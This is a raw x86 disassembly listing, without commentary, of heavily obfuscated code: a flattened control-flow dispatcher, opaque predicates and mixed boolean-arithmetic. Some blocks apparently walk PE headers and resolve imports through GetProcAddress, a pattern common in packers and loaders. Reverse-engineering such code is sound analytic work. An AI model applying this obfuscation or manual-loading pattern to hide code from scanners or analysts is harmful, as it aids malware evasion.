jmp 0x402740
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
mov eax, 0x60f6c986
jmp 0x402740
mov eax, 0x6ff11b46
jmp 0x402740
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov eax, 0x62d9a01c
jmp 0x402740
movzx eax, word [ebp - 0xf6]
mov ecx, dword [ebp - 0x180]
mov edx, 0x3efb24e4
cmp ecx, eax
mov eax, 0xeb48b1e9
cmovl eax, edx
jmp 0x402740
mov eax, dword [ebp - 0x120]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0xf0]
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x38]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0x14]
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8]
mov ecx, dword [0x4f6184]
mov dword [ebp - 0x18c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xfffffffe
andn edx, eax, edx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x3e889363
mov esi, eax
and esi, 0xc1776c9c
or edx, esi
mov esi, ecx
not esi
and ecx, 0x3e889363
or eax, esi
and esi, 0xc1776c9c
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x14405321
and eax, 0x2021a044
mov edx, ecx
and edx, 0x39a0008
or ecx, 0x13925300
or esi, edx
and ecx, 0xdb965f92
mov edx, esi
xor edx, 0x4400021
xor esi, 0xcb960c92
or eax, ecx
and esi, 0xdb965f92
and edx, 0x4480029
or edx, esi
mov esi, 0x34a8cf10
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x857666ec
and ecx, 0x7a899913
or eax, ecx
mov ecx, eax
xor ecx, 0x90a00144
xor eax, 0x6d53ca3a
mov edx, eax
and edx, 0x74dfea1
and ecx, 0xf8b2015e
or ecx, edx
xor ecx, 0x74dfea1
xor eax, ecx
test eax, ecx
sete cl
setne ah
cmp dword [0x4f6180], 0xa
setl al
setge ch
mov edx, eax
and al, ah
or dl, cl
and cl, ch
xor ch, ah
xor dl, 1
or al, cl
or dl, ch
xor al, 1
mov ecx, edx
or cl, al
xor al, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x71454e64
cmovne eax, esi
test cl, cl
mov ecx, 0x71454e64
cmovne eax, ecx
test dl, dl
cmove eax, esi
jmp 0x402740
mov eax, 0x70c1bb19
jmp 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0xc3c19a0d
and edi, 0x3c3e65f2
and edx, 0xc28ba44d
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0x3d745bb2
mov ebx, esi
not ebx
and esi, 0x3c3e65f2
or eax, edx
or ecx, ebx
and ebx, 0xc3c19a0d
xor eax, 0x3d745bb2
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xdfeb96ad
and esi, 0x20146952
or ecx, esi
mov esi, 0xdae19960
xor ecx, 0xdfeb96ad
or eax, ecx
xor eax, 0xffffffff
sete cl
setne ah
cmp dword [0x4f6180], 0xa
setl al
setge ch
mov edx, eax
and al, ah
and ah, ch
and dl, cl
and cl, ch
or dl, ah
or al, cl
xor dl, 1
xor al, 1
or dl, ch
mov ecx, edx
or cl, al
xor al, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x88a5e1b3
cmovne edx, esi
test al, al
mov esi, 0x88a5e1b3
mov eax, edx
cmovne eax, esi
test cl, cl
cmovne eax, edx
jmp 0x402740
mov eax, 0x9e9e5ab7
jmp 0x402740
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0x85997171
and ecx, 0x7a668e8e
or ecx, edx
mov edx, ecx
mov esi, ecx
xor edx, 0x81111120
xor esi, 0x7a668e8e
xor ecx, 0x1001100
mov eax, esi
and eax, 0x4e8a6059
and edx, 0xb1759fa6
or esi, 0x84380408
and ecx, 0x61061182
or edx, eax
and esi, 0x86b86e39
mov eax, edx
xor edx, 0x4e8a6059
xor eax, 0xb1759fa6
or ecx, esi
mov edi, edx
or edi, 0x2806a31
mov ebx, eax
and ebx, 0x18418044
and edx, 0xb314c3c8
and edi, 0x86b86e39
or ebx, edi
xor ecx, ebx
mov esi, ecx
not esi
and ecx, 0xc142a21b
and esi, 0x3ebd5de4
or ecx, esi
mov esi, eax
and esi, 0x4ceb3c37
and eax, 1
or esi, edx
xor ecx, 0x5d3b2656
xor esi, 0xb314c3c9
or eax, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x89411b4
and eax, 0x70020c00
mov edx, ecx
and edx, 0x614040
or ecx, 0x86401c0
or esi, edx
and ecx, 0x8f6ca3cb
mov edx, esi
xor edx, 0x901034
xor esi, 0x8768a24b
or eax, ecx
and esi, 0x8f6ca3cb
and edx, 0x915034
or edx, esi
mov esi, 0x53e8402c
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x5432c988
and ecx, 0xabcd3677
or eax, ecx
mov ecx, eax
xor ecx, 0x8030050
xor eax, 0x81186082
and eax, 0xd5dcf8ae
and ecx, 0x2a230751
or ecx, eax
mov eax, ecx
xor eax, 0x22230201
xor ecx, 0xc1dc1080
and ecx, 0xc9dc15d0
and eax, 0x3623ea2f
or eax, ecx
xor eax, 0x3623ea2f
sete ah
setne al
cmp dword [0x4f6180], 0xa
setl dl
setge ch
mov cl, dl
mov dh, dl
and ch, ah
xor cl, al
or dh, al
not cl
and cl, al
and al, dl
or dl, ah
or al, ch
xor cl, 1
mov ebx, ecx
or cl, dh
xor al, 1
mov ah, al
or al, dl
xor bl, dh
xor cl, 1
or cl, bl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
mov ah, cl
and ah, al
xor al, 1
xor dl, 1
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xac69090f
cmovne ecx, esi
test al, 1
mov eax, 0xac69090f
cmovne eax, ecx
test dl, 1
cmove eax, ecx
jmp 0x402740
cmp byte [ebp - 0x99], 0
mov eax, 0x6fbbdcc4
mov ecx, 0x952b61a7
cmovne eax, ecx
jmp 0x402740
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
mov eax, 0x4369fa2f
jmp 0x402740
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x18025009
and edx, 0xe7fdaff6
mov esi, ecx
not esi
and ecx, 0xd41f66a9
or eax, edx
mov edx, eax
xor edx, 0x10024009
xor eax, 0xe7fdaff6
mov edi, eax
or eax, esi
and esi, 0x2be09956
and edi, 0x2be09956
and edx, 0xd41f66a9
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov esi, eax
xor esi, 0x732e8ee4
andn edx, eax, esi
and esi, eax
mov ecx, edx
mov ebx, esi
not ecx
not ebx
and edx, 0x220dff27
and esi, 0x220dff27
mov edi, ecx
or ecx, ebx
and edi, 0xddf200d8
and ebx, 0xddf200d8
or edx, edi
or esi, ebx
not ecx
xor esi, edx
mov edx, eax
not edx
and eax, 0x1ac4f1c0
or ecx, esi
and edx, 0xe53b0e3e
mov esi, ecx
not esi
and ecx, 0x732e8ee5
or edx, eax
and esi, 0x8cd1711a
or ecx, esi
mov eax, ecx
not eax
and ecx, 0xed916a0b
mov esi, eax
and esi, 0x126e95f4
or ecx, esi
mov esi, edx
xor esi, 0xe5110a0a
xor edx, 0x1ac4f1c1
or eax, edx
and edx, 0x126e95f4
and esi, 0xed916a0a
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x45c04189
and eax, 0xa8082022
mov edx, ecx
or edx, 0x110c44
and esi, 0x45d14dcd
and ecx, 0x12269210
and edx, 0x45d14dcd
or ecx, esi
mov esi, 0x71454e64
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x12379e54
and ecx, 0xedc861ab
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9c31b7ba
and ecx, 0x63ce4845
or ecx, eax
xor ecx, 0x63ce4845
setne dl
sete ah
cmp dword [0x4f6180], 0xa
mov ecx, edx
setl ch
setge al
or dl, ch
and cl, al
and ch, ah
or ch, cl
xor dl, 1
mov cl, ch
xor cl, al
or al, ah
and cl, ch
xor al, 1
mov ah, cl
or al, dl
mov ch, cl
not ah
mov edx, eax
and ah, cl
not dl
xor ah, 1
and dl, al
xor ch, ah
or ah, cl
xor dl, 1
xor ah, 1
or ah, ch
mov ch, al
xor ch, dl
or dl, al
xor dl, 1
or dl, ch
mov ch, ah
xor ch, 1
and ch, dl
xor dl, 1
and dl, ah
mov ah, cl
xor ah, al
or al, cl
or dl, ch
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xde0bf6ec
cmovne eax, esi
test dl, 1
not cl
mov edx, 0xde0bf6ec
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402740
mov eax, 0x35440f5f
jmp 0x402740
mov eax, 0x6d811fed
jmp 0x402740
mov eax, dword [0x4f6184]
mov esi, 0x9d7c7950
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
not ecx
mov edx, ecx
and edx, 0xfffffffe
or eax, edx
mov edx, eax
not edx
and eax, 0x1989b928
and edx, 0xe67646d7
or eax, edx
xor eax, 0x1989b928
or eax, ecx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x4f6180], 0xa
mov ch, al
setl dl
setge ah
and cl, dl
and ch, ah
and dl, al
inc al
or cl, ch
and al, ah
xor cl, 1
or al, dl
or cl, ah
xor cl, 1
xor al, cl
mov edx, eax
not dl
and dl, cl
test al, 1
mov ecx, 0x1e06efa0
cmovne ecx, esi
test dl, 1
cmovne ecx, esi
test al, 1
mov eax, ecx
cmovne eax, esi
jmp 0x411ee2
mov eax, 0x521dfece
jmp 0x402740
mov eax, 0x3a9cdbd8
jmp 0x402740
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x34]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov ecx, dword [0x4f6184]
mov dword [ebp - 0x150], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0x1a7ce94f
mov edi, edx
mov esi, ecx
and esi, 0x195a1b87
and edi, 0xe4810430
and edx, 0x13761c7a
or edi, esi
mov esi, eax
xor esi, 0xe58316b0
and esi, eax
and eax, 0xec89e385
mov ebx, esi
not ebx
and esi, 0xe6a5e478
or eax, edx
or ecx, ebx
and ebx, 0x195a1b87
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x1597ca62
and esi, 0xea68359d
or ecx, esi
mov esi, ecx
xor ecx, 0x802212c
xor esi, 0xf014dcd3
mov edx, esi
and edx, 0xe7ed4e03
and ecx, 0x1812b1fc
or ecx, edx
mov edx, eax
xor edx, 0x800a184
xor eax, 0x13761c7a
or esi, eax
and eax, 0xe7ed4e03
and edx, 0x1812b1fc
or edx, eax
not esi
xor edx, ecx
or esi, edx
mov eax, esi
not eax
and esi, 0x79b853e1
and eax, 0x8647ac1e
or esi, eax
xor esi, 0x79b853e1
mov esi, 0xbd798282
sete cl
setne al
cmp dword [0x4f6180], 0xa
setge ah
xor cl, ah
mov dl, ah
and cl, ah
xor dl, al
or al, ah
mov ah, cl
and al, dl
xor cl, dl
xor dl, 1
xor ah, 1
or dl, ah
xor dl, 1
or dl, cl
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov ah, al
xor ah, 1
mov edx, ecx
and al, ah
xor dl, 1
xor al, 1
and cl, dl
mov ch, al
or al, ah
xor cl, 1
xor ch, ah
xor al, 1
mov ebx, ecx
or cl, dl
or al, ch
xor bl, dl
xor cl, 1
or dl, ah
mov dh, al
or cl, bl
xor dh, 1
and dh, cl
xor cl, 1
and cl, al
mov eax, edx
or cl, dh
xor al, cl
test dl, 1
mov edx, 0x290357a5
cmovne edx, esi
test cl, 1
not al
cmove edx, esi
test al, 1
mov eax, 0x290357a5
cmovne edx, eax
mov eax, edx
jmp 0x402740
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x34]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x158], eax
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x61b6ae80
mov esi, edx
and esi, 0x9e49517f
and edx, 0x38c8fdcc
or eax, esi
mov esi, eax
xor eax, 0x9e49517e
xor esi, 0x20b4a600
or eax, 1
and esi, 0x22fcf778
mov edi, eax
and edi, 0xdd030886
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0xc7370233
mov ebx, edi
not ebx
and edi, 0x22fcf779
or ecx, edx
or eax, ebx
and ebx, 0xdd030886
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
mov edx, eax
and edx, 0xabb1c1ec
and esi, 0x544e3e13
or esi, edx
mov edx, ecx
xor edx, 0x44060213
xor ecx, 0x38c8fdcc
or eax, ecx
and ecx, 0xabb1c1ec
and edx, 0x544e3e13
or edx, ecx
not eax
xor edx, esi
mov esi, 0xc9cf7fc6
or eax, edx
xor eax, 0xffffffff
setne cl
sete ah
cmp dword [0x4f6180], 0xa
setge ch
setl dl
mov al, ch
xor al, ah
xor ah, dl
or dl, cl
and al, ch
or al, ah
and ah, cl
xor ah, 1
mov cl, ah
or ah, dl
xor cl, dl
xor ah, 1
mov edx, eax
or ah, cl
xor dl, 1
mov ecx, eax
and cl, dl
mov ch, dl
xor cl, 1
xor ch, cl
or cl, dl
or dl, ah
xor cl, 1
xor dl, 1
or cl, ch
mov ch, cl
xor cl, 1
and ch, ah
xor ah, 1
and cl, ah
xor ah, al
or dl, ah
or cl, ch
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0xcbb9ab57
cmovne edx, esi
test cl, 1
cmove edx, esi
test al, 1
mov eax, 0xcbb9ab57
jmp 0x412fed
mov eax, 0x4a9e1709
jmp 0x402740
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov eax, 0x74f5a28f
jmp 0x402740
mov eax, dword [ebp - 0x78]
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x48173d4f
mov esi, eax
and esi, 0xb7e8c2b0
mov edx, eax
not edx
andn ecx, eax, ecx
and edx, 0x6af82f4
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x25e67ed
and esi, 0xfda19812
or ecx, esi
mov esi, eax
and esi, 0xf9507d0b
and eax, 1
or esi, edx
xor ecx, 0xb5b6a55c
xor esi, 0x6af82f5
or eax, esi
mov esi, 0x2fe5c94c
not eax
or eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x51e9c91d
and eax, 0xae1636e2
or ecx, eax
xor ecx, 0x51e9c91d
or edx, ecx
setne dl
sete al
cmp dword [0x4f6180], 0xa
setl ah
setge cl
mov ch, ah
or cl, dl
xor ch, al
or al, ah
mov edx, ecx
mov ah, cl
and al, ch
xor dl, 1
and ah, al
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
mov ecx, 0x71b8f739
cmovne ecx, esi
test al, al
mov eax, 0x71b8f739
jmp 0x414567
mov eax, 0x99a786d3
jmp 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x27334f37
mov eax, ecx
and eax, 0xfbad3932
and edx, ecx
not ecx
mov esi, ecx
and esi, 0x452c6cd
or eax, esi
mov esi, eax
xor eax, 0x4124605
xor esi, 0x1010830
or eax, 0xd8ccb0c8
and esi, 0x5030e35
mov edi, eax
and edi, 0xb2f86102
or esi, edi
mov edi, edx
not edi
and edx, 0x4d079efd
or eax, edi
and edi, 0xb2f86102
or edx, edi
not eax
mov edi, 0xf1b63174
xor edx, esi
mov esi, 0xacb4dd34
or eax, edx
mov edx, eax
not edx
and eax, 0x27334f36
and edx, 0xd8ccb0c9
or eax, edx
mov edx, eax
not edx
and eax, 0xae1c8f43
and edx, 0x51e370bc
or eax, edx
xor eax, 0xae1c8f43
or eax, ecx
xor eax, 0xffffffff
setne dl
sete al
cmp dword [0x4f6180], 0xa
mov ch, dl
setl ah
setge cl
mov dh, ah
and ch, cl
or dl, ah
and dh, al
xor al, ah
and al, ah
or dh, ch
xor al, 1
xor cl, dh
mov ah, al
or al, dl
and cl, dh
xor ah, dl
xor al, 1
or al, ah
xor al, cl
mov edx, eax
test al, 1
not dl
cmovne esi, edi
test dl, cl
cmovne esi, edi
test al, 1
mov eax, esi
cmovne eax, edi
test dl, cl
cmove eax, esi
jmp 0x402740
mov eax, dword [ebp - 0x104]
mov eax, 0xd665256d
jmp 0x402740
mov eax, 0xb50d0099
jmp 0x402740
movzx eax, word [ebp - 0xde]
mov ecx, dword [ebp - 0x68]
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
mov eax, 0xac69090f
jmp 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xca421eea
mov esi, edx
and esi, 0x35bde114
and edx, 0x5aaca22c
or ecx, esi
mov esi, ecx
xor esi, 0xc2000a68
xor ecx, 0x14bcc004
and ecx, 0x1cfed486
and esi, 0xe3012b78
or esi, ecx
mov ecx, eax
or ecx, 0x1cfed486
and eax, 0xa5535dd3
and ecx, 0x1cfed487
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0xcf2b410
mov esi, edx
and esi, 0xf30d4bef
or ecx, esi
mov esi, eax
xor esi, 0x4521410
xor eax, 0x520c022c
and eax, 0xf30d4bef
and esi, 0xcf2b410
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xfc0cb290
setne dl
sete ah
cmp dword [0x4f6180], 0xa
setl al
setge cl
mov ch, al
and dl, al
or al, ah
and cl, ah
or cl, dl
xor ch, ah
xor al, 1
mov edx, ecx
or al, ch
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or dl, ah
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xba3cbad5
cmovne ecx, esi
test al, 1
mov eax, 0xba3cbad5
jmp 0x414567
mov eax, dword [ebp - 0x1a0]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, 0x7237d649
jmp 0x402740
mov eax, 0x4051102a
jmp 0x402740
mov eax, 0xa9bc0310
jmp 0x402740
mov eax, dword [ebp - 0x90]
mov ecx, dword [0x4f6184]
inc eax
mov dword [ebp - 0x190], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0x4ede4e90
and edi, 0xb121b16e
and edx, 0x876544ab
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0x789abb54
mov ebx, esi
not ebx
and esi, 0xb121b16f
or eax, edx
or ecx, ebx
and ebx, 0x4ede4e90
xor eax, 0x789abb54
or esi, ebx
not ecx
xor esi, edi
mov edi, 0x6f17ea72
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x69fc6141
and esi, 0x96039ebe
or ecx, esi
mov esi, 0x60a8f2d6
xor ecx, 0x69fc6141
or eax, ecx
xor eax, 0xffffffff
setne dl
sete al
cmp dword [0x4f6180], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
xor dl, ch
and dh, ch
and cl, al
and dl, al
xor al, ah
or cl, dh
and al, ah
xor cl, 1
or al, dl
or cl, ch
mov edx, eax
mov ah, cl
xor dl, 1
and al, cl
not ah
or cl, dl
and dl, ah
or dl, al
mov eax, 0x60a8f2d6
mov ch, dl
xor ch, cl
test dl, dl
cmovne eax, edi
test cl, cl
cmovne eax, esi
test ch, 1
cmove eax, edi
jmp 0x402740
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x138]
mov esi, 0xe678091b
mov dword [eax], ecx
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xdce1ae57
and eax, 0x231e51a8
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x7a026e69
and eax, 0x85fd9196
or ecx, eax
mov eax, ecx
xor ecx, 0xa6e3c03e
xor eax, 0x591c3fc1
mov edx, eax
and ecx, 0xfffffffe
and eax, 1
and edx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x40d703f2
and ecx, 0xbf28fc0d
or eax, ecx
mov ecx, eax
xor ecx, 0x20070
xor eax, 0x17007000
and ecx, 0xa82a8c7d
and eax, 0x57d57382
or eax, ecx
mov ecx, eax
xor ecx, 0xa8000450
xor eax, 0x10c56280
and eax, 0x10efeaad
and ecx, 0xef101552
or ecx, eax
xor ecx, 0xef101552
setne ch
sete dh
cmp dword [0x4f6180], 0xa
setge al
setl ah
mov cl, al
and ch, ah
and al, dh
or ah, dh
xor cl, dh
or al, ch
mov ch, ah
mov edx, ecx
xor al, 1
xor dl, 1
xor ch, al
or al, ah
mov ah, dl
xor al, 1
and ah, cl
or al, ch
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
mov edx, 0x88fff70f
xor ah, al
or al, cl
mov cl, ah
xor cl, al
test al, 1
cmovne edx, esi
test ah, 1
not cl
mov eax, 0x88fff70f
cmovne edx, esi
test cl, 1
cmove edx, eax
mov eax, edx
jmp 0x402740
mov eax, 0x3421a03a
jmp 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xfffffffe
mov eax, ecx
or eax, 1
and edx, ecx
not ecx
mov edi, eax
and edi, 0x7adef6b1
mov ebx, edx
not ebx
mov esi, ecx
and esi, 0x8521094e
and edx, 0x8521094e
or eax, ebx
and ebx, 0x7adef6b1
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0xcede4367
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete cl
setne al
cmp dword [0x4f6180], 0xa
setl dl
setge ah
and dl, al
and cl, ah
or al, ah
or cl, dl
mov ch, al
mov edx, ecx
not ch
and cl, al
xor dl, 1
or al, dl
and dl, ch
or dl, cl
mov ecx, eax
xor cl, dl
mov ecx, 0x51f69c3
cmovne ecx, esi
test dl, dl
mov esi, 0x51f69c3
mov edx, ecx
cmovne edx, esi
test al, al
cmovne edx, ecx
mov eax, edx
jmp 0x402740
mov eax, 0xaa1e5de
jmp 0x402740
mov eax, 0x98d709e
jmp 0x402740
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
movzx eax, word [eax]
mov ecx, eax
not ecx
mov esi, eax
or esi, 0xffffb022
and eax, 0x305
mov edx, ecx
or edx, 0x4800
and esi, 0xfffff822
and ecx, 0x4d8
and edx, 0xfffff822
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x4cd8
and ecx, 0xffffb327
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xffff8765
and eax, 0x432d
and edx, 0x789a
or ecx, edx
mov edx, ecx
mov esi, ecx
xor edx, 0xffff8765
xor esi, 0xffffc448
xor ecx, 0x2880
and esi, edx
and ecx, 0x2f84
or eax, esi
mov esi, eax
not esi
and eax, 0xffffb32d
and esi, 0x4cd2
or eax, esi
mov esi, edx
and esi, 0xffffd07b
and edx, 0xfff
or esi, ecx
mov ecx, eax
not ecx
and eax, 0x72d8
xor esi, 0x207b
mov edi, ecx
and edi, 0xffff8d27
or edx, esi
or eax, edi
mov esi, edx
not esi
or ecx, edx
and edx, 0xffff8d27
and esi, 0x72d8
not ecx
or esi, edx
xor esi, eax
or ecx, esi
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x35aa
and ecx, 0x900
mov edx, eax
and edx, 0xffffca55
or eax, 0xffffd481
or esi, edx
and eax, 0xfffff6b9
mov edx, esi
xor esi, 0xffffc001
xor edx, 2
or ecx, eax
or esi, 0x2238
and edx, 0x46
and esi, 0xfffff6b9
or edx, esi
xor ecx, edx
mov eax, ecx
not eax
and ecx, 0x3f27
and eax, 0xffffc0d8
or ecx, eax
mov eax, ecx
xor eax, 0x2a40
xor ecx, 0x1c
and ecx, 0xffffc1bc
and eax, 0x3e43
or eax, ecx
xor eax, 0xc1bc
movzx eax, ax
mov dword [ebp - 0xec], eax
mov eax, 0x826d5e34
jmp 0x402740
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x194]
cmp ecx, dword [eax]
mov eax, 0x7b4bb4a1
setne byte [ebp - 0x9a]
jmp 0x402740
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x158]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0xc0]
mov eax, 0xc48bf8c9
jmp 0x402740
mov eax, 0x75afd2d4
jmp 0x402740
mov eax, 0x66fa8dc
jmp 0x402740
mov eax, 0xecb43dc
jmp 0x402740
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x14c]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0xc]
add eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0xbc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x1b4], eax
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xe9706dac
mov eax, edx
and eax, 0xfd950cc8
andn esi, edx, ecx
not edx
and edx, 0x26af337
mov ebx, esi
not ebx
and esi, 0xc3f174fd
or edx, eax
mov eax, edx
xor eax, 0x14850040
mov ecx, edx
xor ecx, 0x2001011
or eax, 0xe9706dac
and ecx, 0x2811051
mov edi, eax
or eax, ebx
and edi, 0x3c0e8b02
and ebx, 0x3c0e8b02
or ecx, edi
or esi, ebx
not eax
xor esi, ecx
mov ecx, edx
xor ecx, 0x24ac020
xor edx, 0xad150040
or eax, esi
and edx, 0xad353356
and ecx, 0x52cacca8
mov esi, eax
not esi
and eax, 0xd60a94a9
or ecx, edx
and esi, 0x29f56b56
or eax, esi
mov esi, eax
xor esi, 0x810090
xor eax, 0x3f7af904
mov edx, eax
and edx, 0xd404576b
and esi, 0x2bfba894
or esi, edx
mov edx, ecx
xor edx, 0x2ca8880
xor ecx, 0xad353357
or eax, ecx
and ecx, 0xd404576b
and edx, 0x2bfba894
or edx, ecx
not eax
xor edx, esi
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xdfe753b
and eax, 0xf2018ac4
or ecx, eax
mov eax, ecx
xor eax, 0x46e3511
xor ecx, 0xf2018ac4
mov esi, ecx
and esi, 0x8b904aee
and eax, 0x746fb511
or eax, esi
mov esi, edx
not esi
and edx, 0x746fb511
or ecx, esi
and esi, 0x8b904aee
or edx, esi
not ecx
mov esi, 0xd00d21d2
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xde402684
mov edx, eax
and edx, 0x21bfd97b
or ecx, edx
xor ecx, 0xde402684
or ecx, eax
xor ecx, 0xffffffff
sete al
setne dl
cmp dword [0x4f6180], 0xa
setl ah
setge cl
or al, cl
or ah, dl
or cl, dl
xor ah, 1
xor al, 1
mov ch, cl
or al, ah
xor ch, 1
mov edx, eax
mov ah, al
or al, ch
xor dl, 1
xor al, 1
and ah, cl
and ch, dl
xor dl, cl
or al, dl
or ch, ah
mov edx, 0x53e10b4e
mov cl, al
xor cl, ch
test cl, 1
cmovne edx, esi
test al, 1
mov eax, 0x53e10b4e
cmovne eax, edx
test ch, ch
cmove eax, edx
jmp 0x402740
mov eax, 0xfe2ecb1b
jmp 0x402740
mov eax, dword [ebp - 0xb0]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
